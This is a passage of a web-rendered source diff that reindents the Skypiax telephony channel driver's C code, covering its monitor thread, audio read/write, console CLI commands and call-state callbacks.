</del><ins>+                /* you want me to die? */
+                pthread_testcancel();
</ins><span class="cx">
</span><del>- /* Okay, select has finished. Let's see what happened. */
</del><ins>+                /* Okay, select has finished. Let's see what happened. */
</ins><span class="cx">
</span><del>- /* If there are errors... */
- if (res < 0) {
- if (errno == EINTR) /* EINTR is just the select
- being interrupted by a SIGURG, or so */
- continue;
- else {
- ERRORA("select returned %d: %s\n", SKYPIAX_P_LOG, res, strerror(errno));
- return NULL;
- }
- }
</del><ins>+                /* If there are errors... */
+                if (res < 0) {
+                        if (errno == EINTR)        /* EINTR is just the select
+                                                                 being interrupted by a SIGURG, or so */
+                                continue;
+                        else {
+                                ERRORA("select returned %d: %s\n", SKYPIAX_P_LOG, res, strerror(errno));
+                                return NULL;
+                        }
+                }
</ins><span class="cx">
</span><del>- /* must not be killed while skypiax_iflist is locked */
- PUSHA_UNLOCKA(&skypiax_monlock);
- MONITORLOKKA(&skypiax_monlock);
- /* Alright, lock the interface list again, and let's look and see what has
- happened */
- PUSHA_UNLOCKA(&skypiax_iflock);
- MONITORLOKKA(&skypiax_iflock);
</del><ins>+                /* must not be killed while skypiax_iflist is locked */
+                PUSHA_UNLOCKA(&skypiax_monlock);
+                MONITORLOKKA(&skypiax_monlock);
+                /* Alright, lock the interface list again, and let's look and see what has
+                 happened */
+                PUSHA_UNLOCKA(&skypiax_iflock);
+                MONITORLOKKA(&skypiax_iflock);
</ins><span class="cx">
</span><del>- p = skypiax_iflist;
- for (; p; p = p->next) {
</del><ins>+                p = skypiax_iflist;
+                for (; p; p = p->next) {
</ins><span class="cx">
</span><del>- if (p->skype) {
- if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds)) {
- res = skypiax_signaling_read(p);
- if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
- //ast_log(LOG_NOTICE, "CALLFLOW_INCOMING_RING SKYPE\n");
- DEBUGA_SKYPE("CALLFLOW_INCOMING_RING\n", SKYPIAX_P_LOG);
- skypiax_new(p, SKYPIAX_STATE_RING, p->context /* p->context */ );
- }
- }
- }
</del><ins>+                        if (p->skype) {
+                                if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds)) {
+                                        res = skypiax_signaling_read(p);
+                                        if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
+                                                //ast_log(LOG_NOTICE, "CALLFLOW_INCOMING_RING SKYPE\n");
+                                                DEBUGA_SKYPE("CALLFLOW_INCOMING_RING\n", SKYPIAX_P_LOG);
+                                                skypiax_new(p, SKYPIAX_STATE_RING, p->context /* p->context */ );
+                                        }
+                                }
+                        }
</ins><span class="cx">
</span><del>- }
- MONITORUNLOCKA(&skypiax_iflock);
- POPPA_UNLOCKA(&skypiax_iflock);
- MONITORUNLOCKA(&skypiax_monlock);
- POPPA_UNLOCKA(&skypiax_monlock);
- pthread_testcancel();
- }
</del><ins>+                }
+                MONITORUNLOCKA(&skypiax_iflock);
+                POPPA_UNLOCKA(&skypiax_iflock);
+                MONITORUNLOCKA(&skypiax_monlock);
+                POPPA_UNLOCKA(&skypiax_monlock);
+                pthread_testcancel();
+        }
</ins><span class="cx"> /* Never reached */
</span><del>- return NULL;
</del><ins>+        return NULL;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1533,7 +1493,7 @@
</span><span class="cx">
</span><span class="cx"> int skypiax_sound_init(struct skypiax_pvt *p)
</span><span class="cx"> {
</span><del>- return skypiax_audio_init(p);
</del><ins>+        return skypiax_audio_init(p);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1548,29 +1508,29 @@
</span><span class="cx"> int skypiax_sound_shutdown(struct skypiax_pvt *p)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- //return skypiax_portaudio_shutdown(p);
</del><ins>+        //return skypiax_portaudio_shutdown(p);
</ins><span class="cx">
</span><del>- return -1;
</del><ins>+        return -1;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Read audio frames from interface */
</span><span class="cx"> struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p)
</span><span class="cx"> {
</span><del>- struct ast_frame *f = NULL;
- int res;
</del><ins>+        struct ast_frame *f = NULL;
+        int res;
</ins><span class="cx">
</span><del>- res = skypiax_audio_read(p);
- f = &p->read_frame;
- return f;
</del><ins>+        res = skypiax_audio_read(p);
+        f = &p->read_frame;
+        return f;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Send audio frame to interface */
</span><span class="cx"> int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f)
</span><span class="cx"> {
</span><del>- int ret = -1;
</del><ins>+        int ret = -1;
</ins><span class="cx">
</span><del>- ret = skypiax_audio_write(p, f);
- return ret;
</del><ins>+        ret = skypiax_audio_write(p, f);
+        return ret;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -1579,32 +1539,32 @@
</span><span class="cx"> */
</span><span class="cx"> void *skypiax_do_controldev_thread(void *data)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = data;
- int res;
</del><ins>+        struct skypiax_pvt *p = data;
+        int res;
</ins><span class="cx">
</span><del>- DEBUGA_SERIAL("In skypiax_do_controldev_thread: started, p=%p\n", SKYPIAX_P_LOG, p);
</del><ins>+        DEBUGA_SERIAL("In skypiax_do_controldev_thread: started, p=%p\n", SKYPIAX_P_LOG, p);
</ins><span class="cx">
</span><del>- if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
- ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
- return NULL;
- }
</del><ins>+        if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+                ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
+                return NULL;
+        }
</ins><span class="cx">
</span><del>- while (1) {
- usleep(1000);
- pthread_testcancel();
- if (p->skype) {
- res = skypiax_signaling_read(p);
- if (res == CALLFLOW_INCOMING_HANGUP) {
- DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
- if (p->owner) {
- pthread_testcancel();
- ast_queue_control(p->owner, AST_CONTROL_HANGUP);
- }
- }
- }
- }
</del><ins>+        while (1) {
+                usleep(1000);
+                pthread_testcancel();
+                if (p->skype) {
+                        res = skypiax_signaling_read(p);
+                        if (res == CALLFLOW_INCOMING_HANGUP) {
+                                DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
+                                if (p->owner) {
+                                        pthread_testcancel();
+                                        ast_queue_control(p->owner, AST_CONTROL_HANGUP);
+                                }
+                        }
+                }
+        }
</ins><span class="cx">
</span><del>- return NULL;
</del><ins>+        return NULL;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1618,23 +1578,23 @@
</span><span class="cx"> void skypiax_store_boost(const char *s, double *boost)
</span><span class="cx"> #else
</span><span class="cx"> void skypiax_store_boost(char *s, double *boost)
</span><del>-#endif /* ASTERISK_VERSION_1_6 */
</del><ins>+#endif                                                        /* ASTERISK_VERSION_1_6 */
</ins><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL;
</del><ins>+        struct skypiax_pvt *p = NULL;
</ins><span class="cx">
</span><del>- if (sscanf(s, "%lf", boost) != 1) {
- ERRORA("invalid boost <%s>\n", SKYPIAX_P_LOG, s);
- return;
- }
- if (*boost < -BOOST_MAX) {
- WARNINGA("boost %s too small, using %d\n", SKYPIAX_P_LOG, s, -BOOST_MAX);
- *boost = -BOOST_MAX;
- } else if (*boost > BOOST_MAX) {
- WARNINGA("boost %s too large, using %d\n", SKYPIAX_P_LOG, s, BOOST_MAX);
- *boost = BOOST_MAX;
- }
- *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
- DEBUGA_SOUND("setting boost %s to %f\n", SKYPIAX_P_LOG, s, *boost);
</del><ins>+        if (sscanf(s, "%lf", boost) != 1) {
+                ERRORA("invalid boost <%s>\n", SKYPIAX_P_LOG, s);
+                return;
+        }
+        if (*boost < -BOOST_MAX) {
+                WARNINGA("boost %s too small, using %d\n", SKYPIAX_P_LOG, s, -BOOST_MAX);
+                *boost = -BOOST_MAX;
+        } else if (*boost > BOOST_MAX) {
+                WARNINGA("boost %s too large, using %d\n", SKYPIAX_P_LOG, s, BOOST_MAX);
+                *boost = BOOST_MAX;
+        }
+        *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
+        DEBUGA_SOUND("setting boost %s to %f\n", SKYPIAX_P_LOG, s, *boost);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -1642,735 +1602,705 @@
</span><span class="cx"> */
</span><span class="cx"> struct skypiax_pvt *skypiax_console_find_desc(char *dev)
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = NULL;
</del><ins>+        struct skypiax_pvt *p = NULL;
</ins><span class="cx">
</span><del>- for (p = skypiax_iflist; p && strcmp(p->name, dev) != 0; p = p->next);
- if (p == NULL)
- WARNINGA("could not find <%s>\n", SKYPIAX_P_LOG, dev);
</del><ins>+        for (p = skypiax_iflist; p && strcmp(p->name, dev) != 0; p = p->next);
+        if (p == NULL)
+                WARNINGA("could not find <%s>\n", SKYPIAX_P_LOG, dev);
</ins><span class="cx">
</span><del>- return p;
</del><ins>+        return p;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_playback_boost(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx">
</span><del>- if (argc > 2) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for playback_boost, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
</del><ins>+        if (argc > 2) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, "No \"current\" skypiax_console for playback_boost, please enter 'help skypiax_console'\n");
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- if (argc == 1) {
- ast_cli(fd, "playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
- } else if (argc == 2) {
- skypiax_store_boost(argv[1], &p->playback_boost);
</del><ins>+        if (argc == 1) {
+                ast_cli(fd, "playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
+                                skypiax_console_active, 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
+        } else if (argc == 2) {
+                skypiax_store_boost(argv[1], &p->playback_boost);
</ins><span class="cx">
</span><del>- ast_cli(fd,
- "playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
- }
</del><ins>+                ast_cli(fd,
+                                "playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
+                                skypiax_console_active, 20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
+        }
</ins><span class="cx">
</span><del>- return RESULT_SUCCESS;
</del><ins>+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_capture_boost(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx">
</span><del>- if (argc > 2) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for capture_boost, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
</del><ins>+        if (argc > 2) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, "No \"current\" skypiax_console for capture_boost, please enter 'help skypiax_console'\n");
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- if (argc == 1) {
- ast_cli(fd, "capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
- } else if (argc == 2) {
- skypiax_store_boost(argv[1], &p->capture_boost);
</del><ins>+        if (argc == 1) {
+                ast_cli(fd, "capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
+                                skypiax_console_active, 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
+        } else if (argc == 2) {
+                skypiax_store_boost(argv[1], &p->capture_boost);
</ins><span class="cx">
</span><del>- ast_cli(fd,
- "capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
- skypiax_console_active,
- 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
- }
</del><ins>+                ast_cli(fd,
+                                "capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
+                                skypiax_console_active, 20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
+        }
</ins><span class="cx">
</span><del>- return RESULT_SUCCESS;
</del><ins>+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_console_hangup(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx">
</span><del>- if (argc != 1) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for hanging up, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
- if (!p->owner) {
- ast_cli(fd, "No call to hangup on the active skypiax_console, that is [%s]\n",
- skypiax_console_active);
- return RESULT_FAILURE;
- }
- if (p->owner)
- ast_queue_hangup(p->owner);
- return RESULT_SUCCESS;
</del><ins>+        if (argc != 1) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, "No \"current\" skypiax_console for hanging up, please enter 'help skypiax_console'\n");
+                return RESULT_SUCCESS;
+        }
+        if (!p->owner) {
+                ast_cli(fd, "No call to hangup on the active skypiax_console, that is [%s]\n", skypiax_console_active);
+                return RESULT_FAILURE;
+        }
+        if (p->owner)
+                ast_queue_hangup(p->owner);
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_console_dial(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- char *s = NULL;
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        char *s = NULL;
+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx">
</span><del>- if (argc != 2) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd,
- "No \"current\" skypiax_console for dialing, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
</del><ins>+        if (argc != 2) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, "No \"current\" skypiax_console for dialing, please enter 'help skypiax_console'\n");
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- if (p->owner) { /* already in a call */
- int i;
- struct ast_frame f = { AST_FRAME_DTMF, 0 };
</del><ins>+        if (p->owner) {                                /* already in a call */
+                int i;
+                struct ast_frame f = { AST_FRAME_DTMF, 0 };
</ins><span class="cx">
</span><del>- s = argv[1];
- /* send the string one char at a time */
- for (i = 0; i < strlen(s); i++) {
- f.subclass = s[i];
- ast_queue_frame(p->owner, &f);
- }
- return RESULT_SUCCESS;
- } else
- ast_cli(fd,
- "No call in which to dial on the \"current\" skypiax_console, that is [%s]\n",
- skypiax_console_active);
- if (s)
- free(s);
- return RESULT_SUCCESS;
</del><ins>+                s = argv[1];
+                /* send the string one char at a time */
+                for (i = 0; i < strlen(s); i++) {
+                        f.subclass = s[i];
+                        ast_queue_frame(p->owner, &f);
+                }
+                return RESULT_SUCCESS;
+        } else
+                ast_cli(fd, "No call in which to dial on the \"current\" skypiax_console, that is [%s]\n", skypiax_console_active);
+        if (s)
+                free(s);
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_set_active(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- if (argc == 1)
- ast_cli(fd,
- "\"current\" skypiax_console is [%s]\n Enter 'skypiax_console show' to see the available interfaces.\n Enter 'skypiax_console interfacename' to change the \"current\" skypiax_console.\n",
- skypiax_console_active);
- else if (argc != 2) {
- return RESULT_SHOWUSAGE;
- } else {
- struct skypiax_pvt *p;
- if (strcmp(argv[1], "show") == 0) {
- ast_cli(fd, "Available interfaces:\n");
- for (p = skypiax_iflist; p; p = p->next)
- ast_cli(fd, " [%s]\n", p->name);
- return RESULT_SUCCESS;
- }
- p = skypiax_console_find_desc(argv[1]);
- if (p == NULL)
- ast_cli(fd, "Interface [%s] do not exists!\n", argv[1]);
- else {
- skypiax_console_active = p->name;
- ast_cli(fd, "\"current\" skypiax_console is now: [%s]\n", argv[1]);
- }
- }
- return RESULT_SUCCESS;
</del><ins>+        if (argc == 1)
+                ast_cli(fd,
+                                "\"current\" skypiax_console is [%s]\n Enter 'skypiax_console show' to see the available interfaces.\n Enter 'skypiax_console interfacename' to change the \"current\" skypiax_console.\n",
+                                skypiax_console_active);
+        else if (argc != 2) {
+                return RESULT_SHOWUSAGE;
+        } else {
+                struct skypiax_pvt *p;
+                if (strcmp(argv[1], "show") == 0) {
+                        ast_cli(fd, "Available interfaces:\n");
+                        for (p = skypiax_iflist; p; p = p->next)
+                                ast_cli(fd, " [%s]\n", p->name);
+                        return RESULT_SUCCESS;
+                }
+                p = skypiax_console_find_desc(argv[1]);
+                if (p == NULL)
+                        ast_cli(fd, "Interface [%s] do not exists!\n", argv[1]);
+                else {
+                        skypiax_console_active = p->name;
+                        ast_cli(fd, "\"current\" skypiax_console is now: [%s]\n", argv[1]);
+                }
+        }
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_console_skypiax(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- return RESULT_SHOWUSAGE;
</del><ins>+        return RESULT_SHOWUSAGE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> void *do_skypeapi_thread(void *obj)
</span><span class="cx"> {
</span><del>- return skypiax_do_skypeapi_thread_func(obj);
</del><ins>+        return skypiax_do_skypeapi_thread_func(obj);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int dtmf_received(private_t * p, char *value)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
- DEBUGA_SKYPE("Received DTMF: %s\n", SKYPIAX_P_LOG, value);
- ast_queue_frame(p->owner, &f2);
</del><ins>+        struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
+        DEBUGA_SKYPE("Received DTMF: %s\n", SKYPIAX_P_LOG, value);
+        ast_queue_frame(p->owner, &f2);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int start_audio_threads(private_t * p)
</span><span class="cx"> {
</span><del>- //if (!p->tcp_srv_thread) {
- if (ast_pthread_create(&p->tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) < 0) {
- ERRORA("Unable to start tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
- return -1;
- } else {
- DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
- }
- //}
- //if (!p->tcp_cli_thread) {
- if (ast_pthread_create(&p->tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) < 0) {
- ERRORA("Unable to start tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
- return -1;
- } else {
- DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
- }
- //}
</del><ins>+        //if (!p->tcp_srv_thread) {
+        if (ast_pthread_create(&p->tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) < 0) {
+                ERRORA("Unable to start tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+                return -1;
+        } else {
+                DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+        }
+        //}
+        //if (!p->tcp_cli_thread) {
+        if (ast_pthread_create(&p->tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) < 0) {
+                ERRORA("Unable to start tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+                return -1;
+        } else {
+                DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+        }
+        //}
</ins><span class="cx">
</span><span class="cx"> #ifdef NOTDEF
</span><del>- switch_threadattr_t *thd_attr = NULL;
</del><ins>+        switch_threadattr_t *thd_attr = NULL;
</ins><span class="cx">
</span><del>- switch_threadattr_create(&thd_attr, skypiax_module_pool);
- switch_threadattr_detach_set(thd_attr, 1);
- switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread,
- tech_pvt, skypiax_module_pool);
- DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
</del><ins>+        switch_threadattr_create(&thd_attr, skypiax_module_pool);
+        switch_threadattr_detach_set(thd_attr, 1);
+        switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+        switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread, tech_pvt, skypiax_module_pool);
+        DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
</ins><span class="cx">
</span><del>- switch_threadattr_create(&thd_attr, skypiax_module_pool);
- switch_threadattr_detach_set(thd_attr, 1);
- switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread,
- tech_pvt, skypiax_module_pool);
- DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
- switch_sleep(100000);
</del><ins>+        switch_threadattr_create(&thd_attr, skypiax_module_pool);
+        switch_threadattr_detach_set(thd_attr, 1);
+        switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+        switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread, tech_pvt, skypiax_module_pool);
+        DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+        switch_sleep(100000);
</ins><span class="cx">
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int new_inbound_channel(private_t * p)
</span><span class="cx"> {
</span><span class="cx">
</span><span class="cx"> #ifdef NOTDEF
</span><del>- switch_core_session_t *session = NULL;
- switch_channel_t *channel = NULL;
</del><ins>+        switch_core_session_t *session = NULL;
+        switch_channel_t *channel = NULL;
</ins><span class="cx">
</span><del>- if ((session =
- switch_core_session_request(skypiax_endpoint_interface,
- SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
- switch_core_session_add_stream(session, NULL);
- channel = switch_core_session_get_channel(session);
- skypiax_tech_init(tech_pvt, session);
</del><ins>+        if ((session = switch_core_session_request(skypiax_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
+                switch_core_session_add_stream(session, NULL);
+                channel = switch_core_session_get_channel(session);
+                skypiax_tech_init(tech_pvt, session);
</ins><span class="cx">
</span><del>- if ((tech_pvt->caller_profile =
- switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
- tech_pvt->dialplan, tech_pvt->callid_name,
- tech_pvt->callid_number, NULL, NULL, NULL, NULL,
- "mod_skypiax", tech_pvt->context,
- tech_pvt->destination)) != 0) {
- char name[128];
- //switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
- switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
- switch_channel_set_name(channel, name);
- switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
- }
- switch_channel_set_state(channel, CS_INIT);
- if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
- ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
- switch_core_session_destroy(&session);
- }
- }
- switch_channel_mark_answered(channel);
</del><ins>+                if ((tech_pvt->caller_profile =
+                         switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
+                                                                         tech_pvt->dialplan, tech_pvt->callid_name,
+                                                                         tech_pvt->callid_number, NULL, NULL, NULL, NULL, "mod_skypiax", tech_pvt->context, tech_pvt->destination)) != 0) {
+                        char name[128];
+                        //switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
+                        switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
+                        switch_channel_set_name(channel, name);
+                        switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
+                }
+                switch_channel_set_state(channel, CS_INIT);
+                if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+                        ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
+                        switch_core_session_destroy(&session);
+                }
+        }
+        switch_channel_mark_answered(channel);
</ins><span class="cx">
</span><span class="cx"> #endif
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int remote_party_is_ringing(private_t * p)
</span><span class="cx"> {
</span><del>- if (p->owner) {
- ast_queue_control(p->owner, AST_CONTROL_RINGING);
- }
</del><ins>+        if (p->owner) {
+                ast_queue_control(p->owner, AST_CONTROL_RINGING);
+        }
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int remote_party_is_early_media(private_t * p)
</span><span class="cx"> {
</span><del>- if (p->owner) {
- ast_queue_control(p->owner, AST_CONTROL_RINGING);
- }
</del><ins>+        if (p->owner) {
+                ast_queue_control(p->owner, AST_CONTROL_RINGING);
+        }
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int outbound_channel_answered(private_t * p)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- if (p->owner) {
- ast_queue_control(p->owner, AST_CONTROL_ANSWER);
- }
</del><ins>+        if (p->owner) {
+                ast_queue_control(p->owner, AST_CONTROL_ANSWER);
+        }
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> void *skypiax_do_tcp_srv_thread(void *obj)
</span><span class="cx"> {
</span><del>- return skypiax_do_tcp_srv_thread_func(obj);
</del><ins>+        return skypiax_do_tcp_srv_thread_func(obj);
</ins><span class="cx"> }
</span><span class="cx"> void *skypiax_do_tcp_cli_thread(void *obj)
</span><span class="cx"> {
</span><del>- return skypiax_do_tcp_cli_thread_func(obj);
</del><ins>+        return skypiax_do_tcp_cli_thread_func(obj);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f)
</span><span class="cx"> {
</span><del>- int sent;
</del><ins>+        int sent;
</ins><span class="cx">
</span><del>- sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
</del><ins>+        sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_skype(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- char skype_msg[1024];
- int i, a, c;
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+        char skype_msg[1024];
+        int i, a, c;
</ins><span class="cx">
</span><del>- if (argc == 1) {
- return RESULT_SHOWUSAGE;
- }
- if (!p) {
- ast_cli(fd, "No \"current\" console for skypiax_, please enter 'help console'\n");
- return RESULT_SUCCESS;
- }
- if (!p->skype) {
- ast_cli(fd, "The \"current\" console is not connected to a Skype client'\n");
- return RESULT_SUCCESS;
- }
</del><ins>+        if (argc == 1) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, "No \"current\" console for skypiax_, please enter 'help console'\n");
+                return RESULT_SUCCESS;
+        }
+        if (!p->skype) {
+                ast_cli(fd, "The \"current\" console is not connected to a Skype client'\n");
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- memset(skype_msg, 0, sizeof(skype_msg));
- c = 0;
- for (i = 1; i < argc; i++) {
- for (a = 0; a < strlen(argv[i]); a++) {
- skype_msg[c] = argv[i][a];
- c++;
- if (c == 1022)
- break;
- }
- if (i != argc - 1) {
- skype_msg[c] = ' ';
- c++;
- }
- if (c == 1023)
- break;
- }
- skypiax_signaling_write(p, skype_msg);
- return RESULT_SUCCESS;
</del><ins>+        memset(skype_msg, 0, sizeof(skype_msg));
+        c = 0;
+        for (i = 1; i < argc; i++) {
+                for (a = 0; a < strlen(argv[i]); a++) {
+                        skype_msg[c] = argv[i][a];
+                        c++;
+                        if (c == 1022)
+                                break;
+                }
+                if (i != argc - 1) {
